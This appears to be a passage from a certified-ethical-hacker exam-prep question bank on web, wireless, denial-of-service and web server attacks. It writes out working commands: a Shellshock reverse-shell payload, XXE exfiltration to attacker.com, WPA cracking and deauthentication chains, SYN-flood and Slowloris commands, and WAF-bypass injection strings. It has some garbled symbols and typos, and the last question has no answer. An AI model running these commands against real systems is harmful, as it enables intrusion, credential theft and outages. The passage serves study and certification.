Q163 QUESTION

What is directory traversal?

ANSWER

Directory traversal accesses files outside the intended web root using `../` sequences. Example: `http://target.com/view?file=../../etc/passwd` — `../` navigates up directory levels — reads `/etc/passwd` file. Encoded variations: `../` □ `..%2F` □ `..%252F` (double URL encoding). Windows: `..\` (backslash), `../` on Windows IIS. Targets: `/etc/passwd`, `/etc/shadow`, `/etc/ssh/ssh_config`, Windows SAM, `web.config`, `.htaccess`, web application config files with database passwords. Defense: input validation, chroot jail, web application firewall, use file identifiers instead of file names.

Q164 QUESTION

What is web application firewall (WAF) bypass?

ANSWER

WAF bypass evades detection to successfully attack web applications. Techniques: (1) Encoding — URL encoding (%27 for '), double encoding (%2527), HTML entities; (2) Case manipulation — `SeLeCt` instead of `SELECT`; (3) Comments — `SE/**/LECT`, `S%00ELECT`; (4) Whitespace alternatives — `UNION%09SELECT` (tab), `UNION%0ASELECT` (newline); (5) String concatenation — `'ad' || 'min'` (PostgreSQL), `CONCAT('ad','min')` (MySQL); (6) HTTP parameter pollution — `id=1&id=2` UNION; (7) Chunked transfer encoding to bypass content inspection. Example: WAF blocks `'UNION SELECT'` — bypass with `'UNION/**/SELECT'` or `'UNION%20%23comment%0ASELECT'` — same SQL logic, different representation evades WAF signature.

Q165 QUESTION

What is HTTP header manipulation?

ANSWER

HTTP header manipulation tests for vulnerabilities in header processing. Attack headers: `X-Forwarded-For` (bypass IP restrictions — set to `127.0.0.1` to appear as localhost), `X-Real-IP`, `X-Custom-IP-Authorization`, `X-Original-URL` (bypass URL-based access controls), `X-Rewrite-URL`, `User-Agent` (change to bypass browser detection), `Referer` (bypass hotlink protection or conditional access). Example: Application restricts admin panel to internal IP — add `'X-Forwarded-For: 127.0.0.1'` header — application trusts header □ admin panel accessible from external IP. Burp Suite: modify request headers in Repeater to test different header values.

Q166 QUESTION

What is XML External Entity (XXE) injection?

ANSWER

XXE exploits XML parsers that process external entity references. Payload: `>&xxe;` — sends contents of `/etc/passwd` to application response. SSRF via XXE: `ENTITY xxe SYSTEM 'http://169.254.169.254/latest/meta-data/'` — access AWS IMDS from XML parser. Blind XXE: exfiltrate data via DNS: `ENTITY xxe SYSTEM 'http://attacker.com/?data=secret'`. Defense: disable external entity processing in XML parser configuration. Example: SOAP API sends XML request □ inject XXE payload □ response contains `/etc/passwd` contents — web server running as root reveals complete password file.

Q167 QUESTION

What is insecure deserialization?

ANSWER

Insecure deserialization executes malicious code when deserializing untrusted data. Languages: Java (Apache Commons Collections gadget chains — RCE via `ObjectInputStream`), PHP (`unserialize()` with magic methods `__destruct`, `__wakeup`), Python (`pickle.loads()` executes arbitrary code), .NET (`BinaryFormatter`). Java example: ysoserial tool generates deserialization payloads: `'java -jar ysoserial.jar CommonsCollections1 "whoami" | base64'` — send as serialized Java object — server deserializes □ executes `whoami`. Indicators: Base64 data starting with `'rOO'` (Java serialized), `Content-Type: application/x-java-serialized-object`. Defense: avoid deserializing untrusted data, use JSON/XML instead, whitelist allowed classes.

Q168 QUESTION

What is clickjacking?

ANSWER

Clickjacking overlays transparent iframes over legitimate content to trick users into clicking hidden elements. Technique: transparent iframe (opacity:0) containing 'Like' button, purchase confirmation, or file download positioned over visible button. User clicks visible button — actually clicks hidden iframe element. Example: Website shows 'Click here for free movie' — beneath it, transparent iframe of Facebook 'Like' button — user clicks, posts to Facebook without consent. Defense: X-Frame-Options: DENY or SAMEORIGIN header prevents page from being framed. Content-Security-Policy: frame-ancestors 'self' — modern equivalent. CEH tool: Burp Suite checks for missing X-Frame-Options in passive scan results.

Q169 QUESTION

What is path traversal attack?

ANSWER

Path traversal accesses files outside web root using ../ sequences. Payloads: ../../etc/passwd (basic), ../%2F (URL encoded), ../%252F (double encoded). Interesting targets: Linux (/etc/passwd, /etc/shadow, /root/.ssh/id_rsa, Apache logs), Windows (C:\windows\win.ini, web.config). Tool: DotDotPwn automates path traversal fuzzing: 'dotdotpwn -m http -h target.com -o unix'. Log poisoning via LFI: inject PHP code in User-Agent header □ include Apache access.log via LFI □ PHP executes □ RCE. Example: http://target.com/view?file=../../etc/passwd returns Linux user list. Defense: whitelist allowed files, use realpath() to resolve canonical path, check it starts with intended directory.

Q170 QUESTION

What is XML injection?

ANSWER

XML injection manipulates XML data processed by applications. Attack types: (1) XML injection — inject XML special characters to break structure or inject elements: data>injected; (2) XPath injection — manipulate XPath queries like SQL injection: ' or 1=1 or 'a'='a' bypasses authentication; (3) XXE (XML External Entity) — include external files or SSRF via entity definition. XPath injection example: login form uses XPath: //user[username/text()='user' and password/text()='pass'] — inject: ' or '1'='1 into username □ //user[username/text()=' or '1'='1 and...] □ always true □ authentication bypass. Defense: whitelist XML input, use parameterized XPath, disable external entity processing.

10 Wireless Network Hacking

16 Qs

Q171 QUESTION

What are wireless encryption types and their weaknesses?

ANSWER

Wireless encryption evolution: WEP (Wired Equivalent Privacy) – RC4 stream cipher, IV only 24-bit, broken in minutes with 60K packets. WPA (Wi-Fi Protected Access) – TKIP (RC4 with improvements), still has weaknesses. WPA2-Personal – AES-CCMP, vulnerable to offline dictionary attacks against 4-way handshake. WPA2-Enterprise – 802.1X/RADIUS, per-user credentials, much stronger. WPA3-Personal – SAE (Simultaneous Authentication of Equals/Dragonfly), resistant to offline dictionary attacks, perfect forward secrecy. WPA3-Enterprise – 192-bit security suite. Example: WEP key cracked in 60 seconds using aircrack-ng with captured IV packets – completely obsolete.

Q172 QUESTION

What is the WPA/WPA2 handshake attack?

ANSWER

WPA/WPA2-Personal is vulnerable to offline dictionary attacks against the 4-way handshake. Steps: (1) Put adapter in monitor mode (airmon-ng start wlan0); (2) Capture handshake (airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture mon0); (3) Force re-authentication by sending deauth (aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF mon0); (4) Crack with dictionary (aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt). The handshake contains a hash derived from the password – offline brute force can try millions of passwords/second with GPU (Hashcat -m 22000). Example: WPA2 password 'summer2019' cracked in 3 seconds with Hashcat on GPU using rockyou.txt wordlist.

Q173 QUESTION

What is a rogue access point and evil twin attack?

ANSWER

Rogue AP: unauthorized access point connected to corporate network, bypassing security controls. Evil twin: attacker AP mimicking legitimate AP with same SSID – victims connect thinking it's the real network. Steps: (1) Identify target SSID and channel; (2) Create AP with same SSID (hostapd-wpe); (3) Optional: stronger signal to attract victims; (4) Capture credentials via fake captive portal or MITM. Tools: hostapd-wpe (WPA Enterprise evil twin), WiFi-Pumpkin, airbase-ng. Example: At a hotel, real AP is 'HotelWiFi' – attacker creates evil twin 'HotelWiFi' on channel 1 with stronger signal – guests connect – captive portal harvests email/passwords – traffic intercepted.

Q174 QUESTION

What is Aircrack-ng suite?

ANSWER

Aircrack-ng is a complete wireless security auditing suite. Components: airmon-ng (manage monitor mode – 'airmon-ng start wlan0'), airodump-ng (capture packets – AP/client discovery), aireplay-ng (packet injection – deauth, ARP replay), aircrack-ng (crack WEP/WPA keys from captures), airdecap-ng (decrypt WEP/WPA captures), packetforge-ng (forge packets), airbase-ng (create APs for evil twin). Example: Full WPA2 attack: 'airmon-ng start wlan0' □ 'airodump-ng mon0' (discover APs) □ 'airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture mon0' (target AP) □ 'aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX mon0' (deauth clients to force handshake) □ 'aircrack-ng capture-01.cap -w rockyou.txt' (crack).

Q175 QUESTION

What is Bluetooth hacking?

ANSWER

Bluetooth hacking exploits Bluetooth protocol vulnerabilities. Attacks: Bluejacking (send unsolicited messages — nuisance), Bluesnarfing (unauthorized access to Bluetooth device data — contacts, messages), Bluebugging (full device takeover via AT commands), BlueBorne (2017 — remote code execution via Bluetooth without pairing — affected 5.3 billion devices). Tools: hcitools (Linux Bluetooth management), btscanner (Bluetooth device discovery), BlueZ (Bluetooth protocol stack). Example: BlueBorne vulnerability — attacker within Bluetooth range sends malicious packets — no pairing required, no user interaction — full device compromise. Patched but unpatched devices still vulnerable.

Q176 QUESTION

What is Wardriving?

ANSWER

Wardriving is driving around collecting information about wireless networks. Process: laptop/smartphone + WiFi adapter + GPS + mapping software. Information collected: SSID, BSSID (MAC), channel, signal strength, encryption type, GPS coordinates. Tools: Kismet (network detector, sniffer), inSSIDer, NetStumbler, WiGLE.net (community wireless database — 1 billion+ networks mapped globally). Legal: passive collection is generally legal in most jurisdictions (just detecting network existence). Encrypting data: WiGLE plots all wardriving results on a map. Example: WiGLE search shows a corporate campus has 23 access points, 4 using WEP — targeted for attack.

Q177 QUESTION

What is a deauthentication attack?

ANSWER

Deauthentication attack sends forged 802.11 deauth frames (not encrypted in WPA2) to disconnect clients from an AP. Uses: (1) Force WPA2 handshake capture (client reconnects □ 4-way handshake captured for cracking); (2) DoS — continuous deauth keeps clients disconnected; (3) Evil twin — force clients off legitimate AP to connect to rogue AP. Tool: aireplay-ng -0 [count] -a [AP MAC] -c [client MAC] [interface]. Example: 'aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF mon0' (count=0 = continuous) — all clients permanently disconnected from AP — effective Wi-Fi denial of service attack.

Q178 QUESTION

What is WPS (Wi-Fi Protected Setup) vulnerability?

ANSWER

WPS Pixie Dust attack exploits weak random number generation in WPS implementation. WPS PIN: 8 digits (10^8 combinations = 100 million) but WPS verifier splits PIN into 2 halves, checked separately (first 4 digits: $10^4=10K$, last 3 digits: $10^3=1000 = 11K$ total). Pixie Dust: many routers use predictable random numbers — PIN can be recovered without brute force. Tools: Reaver (WPS brute force), Wash (scan for WPS routers), Bully, pixiewps. Example: 'wash -i mon0' discovers router with WPS enabled □ 'reaver -i mon0 -b AA:BB:CC:DD:EE:FF -vv --pixie-dust' □ WPA2 password recovered in under 30 seconds using Pixie Dust attack on vulnerable router.

Q179 QUESTION

What is KRACK attack?

ANSWER

KRACK (Key Reinstallation Attack) is a 2017 vulnerability in WPA2 4-way handshake. Vulnerability: forces nonce reuse in the handshake by replaying cryptographic handshake messages. Impact: allows decryption of WPA2 traffic, injection of data. Affects: all WPA2 clients (Linux, Android, iOS, macOS, Windows). Most severe: Android 6.0 and Linux use all-zero encryption key in some implementations. Defense: apply OS patches (released Nov 2017). WPA3 is immune due to SAE design. Example: Android device on WPA2 network — attacker replays handshake message 3 — device reinstalls already-used key — attacker can decrypt all Wi-Fi traffic from that Android device.

Q180 QUESTION

What is a wireless IDS and detection evasion?

ANSWER

Wireless IDS (WIDS) monitors Wi-Fi traffic for attacks. Detects: rogue APs, deauthentication floods, probing attacks, unusual client behavior. Tools: Kismet (passive WIDS capability), Snort-wireless, enterprise WIDS (Cisco Adaptive wIPS, Aruba RFProtect). Evasion techniques: (1) Low-power transmission (stay below detection threshold); (2) Directional antenna (targeted signal, minimize spread); (3) MAC address spoofing (change MAC between attacks); (4) Timing attacks (slow attacks below detection thresholds); (5) Channel hopping (don't stay on one channel). Example: Attacker uses directional antenna pointed at specific AP — signal visible only in that direction — WIDS sensors in other areas of building don't detect the attack.

Q181 QUESTION

What is WPA3 security?

ANSWER

WPA3 (Wi-Fi Protected Access 3) addresses WPA2 weaknesses. WPA3-Personal: uses SAE (Simultaneous Authentication of Equals — Dragonfly handshake) instead of PSK — provides forward secrecy (compromise of password doesn't decrypt past traffic), resistant to offline dictionary attacks (must interact with AP for each guess), resistant to KRACK (SAE design prevents nonce reuse). WPA3-Enterprise: 192-bit security suite (GCMP-256, HMAC-SHA-384, ECDH, ECDSA 384-bit). WPA3-Enhanced Open (OWE): encrypts open networks without password — protects from passive eavesdropping. CEH context: WPA3 is current best practice — CEH still tests WPA2 attacks because WPA3 adoption is incomplete.

Q182 QUESTION

What are Wi-Fi authentication types?

ANSWER

Wi-Fi authentication modes: Open (no authentication — anyone connects), WEP Shared Key (challenge-response with WEP key — broken), WPA/WPA2-Personal (PSK — pre-shared key — offline dictionary attack possible), WPA/WPA2-Enterprise (802.1X — RADIUS server — per-user authentication — EAP types: EAP-TLS, PEAP, EAP-TTLS), WPA3-Personal (SAE — offline dictionary attack resistant), WPA3-Enterprise (192-bit security). EAP types for 802.1X: EAP-TLS (certificate both sides — most secure), PEAP (certificate server only, password client), EAP-TTLS (certificate server only, various inner auth). Evil twin attacks on WPA2-Enterprise: capture EAP handshake and crack offline.

Q183 QUESTION

What is wireless traffic analysis?

ANSWER

Wireless traffic analysis with Wireshark in monitor mode. Filter: wlan.fc.type_subtype == 0x08 (Beacon frames — AP discovery), wlan.fc.type_subtype == 0x04 (Probe requests — client looking for networks), eapol (WPA handshake capture), wlan.ssid == 'TargetNetwork' (filter specific SSID). Beacon frame analysis: reveals SSID, BSSID, channel, encryption type, vendor (from BSSID OUI). Deauth attack in Wireshark: wlan.fc.type_subtype == 0x0c (deauthentication frames) — flood of these indicates deauth attack in progress. PMF (Protected Management Frames — WPA3): deauth frames encrypted — stops deauth attacks. Example: Capture beacons to map all APs in area, probe requests to identify client device preferred networks for evil twin targeting.

Q184 QUESTION

What are wireless security best practices?

ANSWER

Wireless security best practices: (1) WPA3-Personal or WPA2-Enterprise; (2) Disable WPS – vulnerable to Pixie Dust and brute force; (3) Disable unused features – Telnet, FTP on router; (4) Change default router credentials – admin/admin is in every wordlist; (5) Firmware updates – patch router firmware regularly; (6) MAC filtering – weak (easily spoofed) but adds layer; (7) SSID hiding – weak (SSID visible in probe requests) but reduces casual visibility; (8) Use 5 GHz band – shorter range limits exposure; (9) Guest network – isolate IoT devices and guests; (10) 802.1X enterprise – per-user authentication with RADIUS. CEH context: know which defenses are strong (WPA3, 802.1X, disable WPS) vs. weak (SSID hiding, MAC filtering) – exam tests understanding of effectiveness.

Q185 QUESTION

What are Wi-Fi security best practices?

ANSWER

Wireless security: use WPA3-Personal or WPA2-Enterprise (not Personal for corporate), disable WPS completely, change default router admin credentials, update router firmware regularly, use guest network for IoT devices and visitors, disable remote management, use 5 GHz (shorter range), enable firewall on router. Weak controls: SSID hiding (visible in probe requests), MAC filtering (easily spoofed with macchanger). Strong controls: 802.1X enterprise authentication (per-user credentials via RADIUS), WPA3 SAE (offline dictionary attack resistant). CEH exam tip: know which controls are effective (WPA3, 802.1X, disable WPS) vs ineffective (SSID hiding, MAC filtering) – a common exam question type.

Q186 QUESTION

What is WPA2 PMKID attack?

ANSWER

PMKID attack captures a single EAPOL packet (no need to deauth clients or wait for handshake) to crack WPA2 passwords offline. PMKID is derived from: PMK + 'PMK Name' + AP MAC + client MAC. PMK is derived from: PBKDF2(HMAC-SHA1, passphrase, SSID, 4096, 256). Attack: capture PMKID in first EAPOL frame from AP (no client needed) □ crack offline with dictionary. Tool: hcxumptool to capture, hcxtools to convert, Hashcat -m 22000. Advantage over handshake attack: (1) No need to deauth clients (less noisy), (2) Can attack AP even with no active clients, (3) Single packet needed. Example: 'hcxumptool -o capture.pcapng -i mon0 --enable_status=1' □ 'hcxtools pcapng2hashcat' □ 'hashcat -m 22000 hash.hc22000 rockyou.txt'.

11 Denial of Service & Session Attacks

15 Qs

Q187 QUESTION

What is a DoS/DDoS attack?

ANSWER

DoS (Denial of Service) makes a resource unavailable to legitimate users by overwhelming it. DDoS (Distributed DoS) uses multiple sources (botnet) simultaneously. Types: (1) Volumetric — exhaust bandwidth (UDP flood, ICMP flood, DNS amplification); (2) Protocol — exhaust connection state tables (SYN flood, Ping of Death); (3) Application layer — exhaust server resources (HTTP flood, Slowloris, slow POST). Tools: hping3 (crafted packet flooding), LOIC (Low Orbit Ion Cannon), HOIC, Slowloris. Example: SYN flood: 'hping3 -S --flood -V -p 80 192.168.1.1' — sends millions of SYN packets — server fills connection table — legitimate connections refused.

Q188 QUESTION

What is a SYN flood?

ANSWER

SYN flood exploits TCP 3-way handshake. Attacker sends massive SYN packets (often with spoofed IPs) — server responds with SYN/ACK and waits for final ACK — half-open connections fill server's backlog queue — legitimate connections refused. Defense: SYN cookies (server doesn't allocate resources until ACK received), rate limiting, firewall. Tool: hping3 -S -a [spoofed_IP] --flood target. Example: 'hping3 -S -a 10.0.0.1 --flood -p 80 192.168.1.100' — millions of SYN packets with spoofed source IP — server's connection table fills with half-open connections — web server becomes unresponsive to legitimate users.

Q189 QUESTION

What is Slowloris?

ANSWER

Slowloris is a low-bandwidth application layer DoS tool that keeps many connections open to a web server. Attack: opens hundreds of connections □ sends partial HTTP headers □ periodically sends more header data to keep connections alive □ never completes request □ server's connection pool exhausted. Advantage: requires minimal bandwidth, bypasses volumetric defenses. Tool: slowloris.py, Perl original. Defense: connection rate limiting, minimum connection rate requirements, server configuration (Apache mod_reqtimeout). Example: 'python3 slowloris.py 192.168.1.100 -p 80 -s 500 --sleep 10' — 500 connections maintained with header updates every 10 seconds — Apache exhausted with only 1 Mbps of traffic.

Q190 QUESTION

What is DNS amplification DDoS?

ANSWER

DNS amplification exploits DNS servers for volumetric amplification. Attack: attacker sends small DNS query (60 bytes) with spoofed victim IP to open DNS resolver — resolver sends large response (4000 bytes) to victim — 66x amplification. Tools: hping3, custom scripts. Reflection: victim receives traffic from legitimate DNS servers (hard to filter). Mitigation: DNS response rate limiting (DNS RRL), block spoofed source IPs (BCP38), disable open DNS resolvers. Example: Attacker sends 1 Gbps of DNS queries to 100 open resolvers □ victims receives 66 Gbps of UDP traffic from legitimate DNS servers □ infrastructure overwhelmed despite small attack bandwidth.

Q191 QUESTION

What is session fixation?

ANSWER

Session fixation tricks users into authenticating with an attacker-known session ID. Attack: (1) Attacker gets valid session ID from server; (2) Tricks victim into using that session ID (via URL parameter: ?sessionid=abc123 in a phishing link or XSS); (3) Victim authenticates with the fixed session ID; (4) Server now associates the authenticated session with attacker's known ID; (5) Attacker uses the same ID — now authenticated as victim. Defense: regenerate session ID after authentication (critical — prevents fixation completely), never accept session IDs from URL parameters. Example: Login page accepts ?PHPSESSID=abc123 in URL — attacker sends phishing link with known session ID → victim logs in → attacker uses same session ID → authenticated as victim.

Q192 QUESTION

What is a TCP session hijacking attack?

ANSWER

TCP session hijacking takes over an established TCP connection by injecting forged packets. Requires predicting TCP sequence numbers. Steps: (1) Sniff traffic to capture SYN/ACK (get sequence numbers); (2) Desynchronize the legitimate connection (RST packet to one party); (3) Inject packet with correct sequence number spoofed as legitimate client; (4) Server accepts packet as continuation of legitimate session. Tools: Ettercap (TCP connection injection), Scapy (custom packet crafting), Juggernaut, Hunt. Example: Telnet session between user and server — attacker sniffs sequence numbers via ARP poisoning → sends RST to user → injects commands with correct sequence number → server executes attacker's commands in established Telnet session.

Q193 QUESTION

What is NTP amplification?

ANSWER

NTP amplification uses Network Time Protocol servers for DDoS amplification. Monlist command: returns list of last 600 hosts that queried the NTP server — 4,564 bytes response from 76 bytes query — 60x amplification. Attacker sends monlist request with victim's spoofed IP to NTP servers — victim receives massive UDP traffic. Example: Cloudflare reported 400 Gbps NTP amplification attack in 2014. Defense: disable monlist (ntpdc -c 'restrict default kod nomodify notrap nopeer noquery'), upgrade NTP to 4.2.7p26+, disable open NTP servers. 'ntpdc -n -c monlist [NTP server]' checks if monlist is enabled.

Q194 QUESTION

What is IP source routing attack?

ANSWER

IP source routing allows the packet sender to specify the route the packet takes through the network. Loose source routing (LSR): specifies certain routers that must be used. Strict source routing (SSR): specifies exact path. Attack: attacker specifies route that bypasses firewalls/IDS, uses source routing to impersonate trusted hosts. Defense: disable source routing on all routers (ip no source-route in Cisco IOS), firewall rules blocking source-routed packets. Example: Attacker sends packet with source route forcing path: Attacker → Trusted Network → Target — target sees packet originating from trusted IP address even though it came from attacker.

Q195 QUESTION

What is application layer DDoS?

ANSWER

Application layer (Layer 7) DDoS targets web application logic to exhaust server resources without massive bandwidth. Types: (1) HTTP GET flood — millions of normal HTTP requests; (2) HTTP POST flood — large POST bodies; (3) Slowloris — incomplete requests holding connections open; (4) RUDY (R U Dead Yet) — slow POST with tiny data chunks; (5) SSL renegotiation attack — expensive SSL renegotiations; (6) Search engine DoS — trigger expensive database queries. Defense: CDN (absorbs traffic), WAF (blocks attack patterns), rate limiting, CAPTCHA, challenge-response. Example: CC (Challenge Collapsar) attack: 50,000 bots each send 10 legitimate requests/second to search page — total 500K requests/second — server's CPU at 100% from database queries.

Q196 QUESTION

What are amplification attack types?

ANSWER

Amplification attacks use protocols with small request but large response for DDoS amplification. DNS amplification: 60-byte query → 4000-byte response (66x). NTP monlist: 90-byte request → 4,608-byte response (50x). SSDP (UPnP): 70-byte M-SEARCH → 999-byte response (14x). Memcached: UDP port 11211, UDP request → 50KB+ response (51,200x amplification — largest known). CHARGEN protocol: any packet → continuous character stream. Defense: BCP38 (network ingress filtering — block spoofed source addresses), disable UDP services where not needed, configure protocols to refuse open amplification. Example: Memcached amplification attack in 2018 against GitHub — 1.3 Tbps peak — largest DDoS at the time — short duration (memcached operators quickly disabled UDP).

Q197 QUESTION

What is ping of death?

ANSWER

Ping of Death sends malformed ICMP packets larger than maximum allowed size (65,535 bytes). When oversized IP fragment reassembled, causes buffer overflow → crash, freeze, or reboot. Historical: affected Windows 95, NT, macOS pre-2000. Modern OS: patched, not vulnerable. Related: Teardrop attack — fragmented UDP packets with overlapping offsets — reassembly causes crash. Jolt attack — Windows DoS using fragmented packets. Land attack — SYN packet with source = destination IP and port → system tries to connect to itself → crash. Smurf attack — ICMP echo to broadcast address with victim's spoofed IP — all hosts reply to victim. CEH exam: know these historical attacks and their modern defenses (patched, rate limiting, firewall rules).

Q198 QUESTION

What is distributed reflection DoS (DRDoS)?

ANSWER

DRDoS uses legitimate third-party servers as unwitting amplifiers. Attack: attacker sends requests to many servers with victim's spoofed IP as source → all servers respond to victim → victim overwhelmed with legitimate server responses → hard to filter (legitimate server IPs). Protocols: DNS, NTP, SSDP, Memcached. Defense: difficult because responses come from legitimate servers (cannot simply block by IP). Solutions: BGP blackholing, DDoS scrubbing services (Cloudflare, Akamai), rate limiting by traffic volume. Example: Attacker sends 100,000 DNS queries to open resolvers with spoofed source IP of victim → 100,000 resolvers each respond with large DNS responses → victim receives millions of packets from thousands of legitimate DNS servers.

Q199 QUESTION

What is an R-U-Dead-Yet (RUDY) attack?

ANSWER

RUDY (R-U-Dead-Yet) is a low-and-slow application layer DoS. Attack: open many HTTP connections to a web server □ send HTTP POST with very large Content-Length □ send body data one byte every ~10 seconds □ server waits for complete POST □ connection threads exhausted. Similar to Slowloris but targets POST instead of headers. Tool: rudy.py. Defense: request timeout configuration (Apache mod_reqtimeout), maximum request body size limits, WAF with connection rate limiting. Example: 'python rudy.py --target 192.168.1.100 --port 80 --url /contact --connections 500' — 500 connections each sending 1 byte/10 seconds — Apache's worker threads all occupied waiting for POST data — legitimate users get 503 errors.

Q200 QUESTION

What are amplification attack types?

ANSWER

DDoS amplification uses protocols with small request but large response. DNS: 60-byte query □ 4000-byte response (66x amplification). NTP monlist: 90 bytes □ 4608 bytes (50x). Memcached UDP port 11211: 15 bytes □ 750KB response (50,000x — largest amplification — used in 2018 GitHub 1.3 Tbps attack). SSDP/UPnP: 70 bytes □ 999 bytes (14x). Defense: BCP38 (block spoofed source IPs at ISP level), disable UDP on services that don't need it (disable Memcached UDP: --listen=127.0.0.1), DNS response rate limiting. CEH exam: know DNS amplification specifics — most commonly tested amplification type.

Q201 QUESTION

What is a TCP RST attack?

ANSWER

TCP RST attack sends forged RST (Reset) packets to terminate established TCP connections. Vulnerability: RST packet only needs to have correct sequence number (within window range) — attacker on same network can sniff sequence numbers then forge RST. Impact: terminate VPN sessions, disconnect database connections, interrupt online communications, BGP session termination (disrupt internet routing). Tools: Scapy (craft custom RST packets), hping3 (-R flag for RST). Mitigation: MD5 authentication for BGP sessions (RFC 2385), TCP Authentication Option (TCP-AO), IPSec. Example: 'hping3 -R -s [victim_port] -p [server_port] [server_IP]' with correct sequence number — server sends RST □ connection terminated — used in Great Firewall of China to block connections to blocked sites.

12 Hacking Web Servers

14 Qs

Q202 QUESTION

What is web server hacking methodology?

ANSWER

Web server hacking methodology: (1) Information gathering – web server software/version (Netcraft, banner grabbing), hosting info (WHOIS), subdomain discovery; (2) Web server footprinting – HTTP headers reveal server info (Server: Apache/2.4.49), error pages, directory structure; (3) Website mirroring – offline copy for analysis (HTTrack); (4) Vulnerability scanning – Nikto, Nessus against web server; (5) Session hijacking – XSS/CSRF to steal cookies; (6) Web server attacks – buffer overflow, DoS, misconfiguration exploitation, file inclusion. Example: Nikto scan reveals Apache 2.4.49 – vulnerable to CVE-2021-41773 (path traversal/RCE) – exploit with curl.

Q203 QUESTION

What is Nikto?

ANSWER

Nikto is an open-source web server scanner. Checks: 6700+ potentially dangerous files/programs, outdated server software, server misconfiguration issues, HTTP headers, default files. Command: 'nikto -h http://target.com' or 'nikto -h 192.168.1.1 -p 8080 -ssl'. Output: server version, outdated software, backup files (.bak, .old), admin interfaces, robots.txt entries, PHP info pages, default credentials pages. Example: 'nikto -h http://192.168.1.10' reveals: Apache 2.4.49 (outdated, multiple CVEs), /phpinfo.php (discloses configuration), /admin/ (admin interface), /backup/ (directory listing enabled) – multiple attack vectors identified.

Q204 QUESTION

What is directory enumeration?

ANSWER

Directory enumeration discovers hidden directories and files on web servers. Tools: DirBuster, Gobuster, dirsearch, ffuf, Wfuzz. Wordlists: /usr/share/wordlists/dirb/common.txt, SecLists. Example: 'gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,bak,txt' discovers: /admin (403), /backup (200 – directory listing), /config.php.bak (200 – config backup with DB password), /wp-admin (WordPress admin panel), /.git (Git repository with source code). Finding .git directory allows 'git clone' of the source code revealing application logic and hardcoded credentials.

Q205 QUESTION

What is a buffer overflow attack?

ANSWER

Buffer overflow writes more data to a buffer than it can hold, overwriting adjacent memory including the return address. Types: Stack overflow (overwrites return address with shellcode address), Heap overflow (corrupts heap metadata). Steps: (1) Find vulnerable input (string too long causes crash); (2) Determine offset to return address (use pattern_create, pattern_offset); (3) Find bad characters; (4) Find JMP ESP address (bypass ASLR if not enabled); (5) Generate shellcode; (6) Exploit. Tools: Immunity Debugger, gdb, Metasploit. Example: Sending 2000 'A' characters to a vulnerable binary – crashes at EIP = 41414141 – confirms stack buffer overflow – pad with offset bytes, overwrite EIP with shellcode address.

Q206 QUESTION

What is HTTP response splitting?

ANSWER

HTTP response splitting injects newline characters (CRLF – \r\n) into HTTP responses to split a single response into two. Impact: XSS, web cache poisoning, session fixation. Attack: inject 'Header: value\r\nContent-Length: 0\r\n\r\nalert(1)' into a response header – server sends two responses – attacker controls second response. Vulnerable: applications that reflect user input in HTTP headers without sanitization (redirect URLs, cookie values). Example: URL redirect with CRLF injection: /redirect?url=http://safe.com%0d%0aContent-Type: text/html%0d%0a%0d%0aalert(1).

Q207 QUESTION

What is robots.txt and how is it exploited?

ANSWER

Robots.txt instructs web crawlers which paths to avoid indexing. Exploitation: robots.txt is public and reveals which paths the owner wants hidden. Common entries: /admin, /backup, /private, /internal, /api. Example: robots.txt reveals: 'Disallow: /admin-panel-xyz' – attacker visits admin-panel-xyz – finds admin login page not protected by IP restriction. Attacker tries default credentials (admin/admin) or brute force. Defense: robots.txt should not be treated as security – it's a public file. Actually use authentication and access controls for sensitive directories.

Q208 QUESTION

What is web application fingerprinting?

ANSWER

Web application fingerprinting identifies the technology stack, framework, and version. Methods: HTTP headers (Server, X-Powered-By, Set-Cookie names), HTML source (generator meta tag, CSS/JS paths, error pages), URL patterns (/wp-content = WordPress, /Umbraco = Umbraco CMS), cookie names (PHPSESSID = PHP, JSESSIONID = Java, ASP.NET_SessionId = ASP.NET), default files (wp-login.php, /joomla, /typo3). Tools: WhatWeb, Wappalyzer, BuiltWith. Example: WhatWeb http://target.com reveals: WordPress 5.8.1, PHP 7.4.3, Apache 2.4.46, jQuery 3.5.1 – pen tester searches WPScan for WordPress 5.8.1 vulnerabilities and installed plugin vulnerabilities.

Q209 QUESTION

What is CGI vulnerability exploitation?

ANSWER

CGI (Common Gateway Interface) scripts execute server-side processes. Vulnerabilities: Shellshock (CVE-2014-6271) – bash CGI scripts vulnerable to environment variable injection. Payload: 'curl -H "User-Agent: () { :; }; /bin/bash -i >&/dev/tcp/192.168.1.99/4444 0>&1" http://target.com/cgi-bin/test.cgi' – bash processes the function definition then executes the command injection. Still relevant: legacy systems with bash versions pre-4.3 patch 25. Nmap script: 'nmap --script http-shellshock --script-args uri=/cgi-bin/admin.cgi 192.168.1.1'. Example: IoT device web interface uses bash CGI scripts – Shellshock payload in User-Agent header → remote code execution on device.

Q210 QUESTION

What is HTTP parameter pollution (HPP)?

ANSWER

HPP submits multiple parameters with the same name to exploit inconsistent server handling. Example: /transfer?amount=100&to;=attacker&to;=victim – some servers take last value (victim), some take first (attacker), some concatenate (attacker,victim). Web application firewall bypass: WAF checks first 'amount' parameter (1), application uses second value (99999): GET /buy?price=1&price;=99999. Client-side HPP: manipulate links/forms in HTML injection context. Example: Login with HPP: POST username=admin&username;=attacker&password;=password – if application takes first username (admin) but queries second (attacker) – authentication bypass. Test with Burp Suite by duplicating parameters.

Q211 QUESTION

What is cross-origin resource sharing (CORS) misconfiguration?

ANSWER

CORS controls which origins can access API resources. Misconfiguration: 'Access-Control-Allow-Origin: *' or reflecting arbitrary Origin header — allows any site to make authenticated requests using victim's cookies. Attack: victim visits attacker.com □ JavaScript makes request to api.bank.com with victim's session cookie □ CORS allows cross-origin request □ API returns sensitive data to attacker's site. Test: set Origin: https://evil.com header — if response includes 'Access-Control-Allow-Origin: https://evil.com' and 'Access-Control-Allow-Credentials: true' — exploitable. Example: Banking API with CORS misconfiguration: attacker's page makes AJAX request to /api/account/balance — CORS allows □ victim's balance returned to attacker.

Q212 QUESTION

What is server-side request forgery (SSRF)?

ANSWER

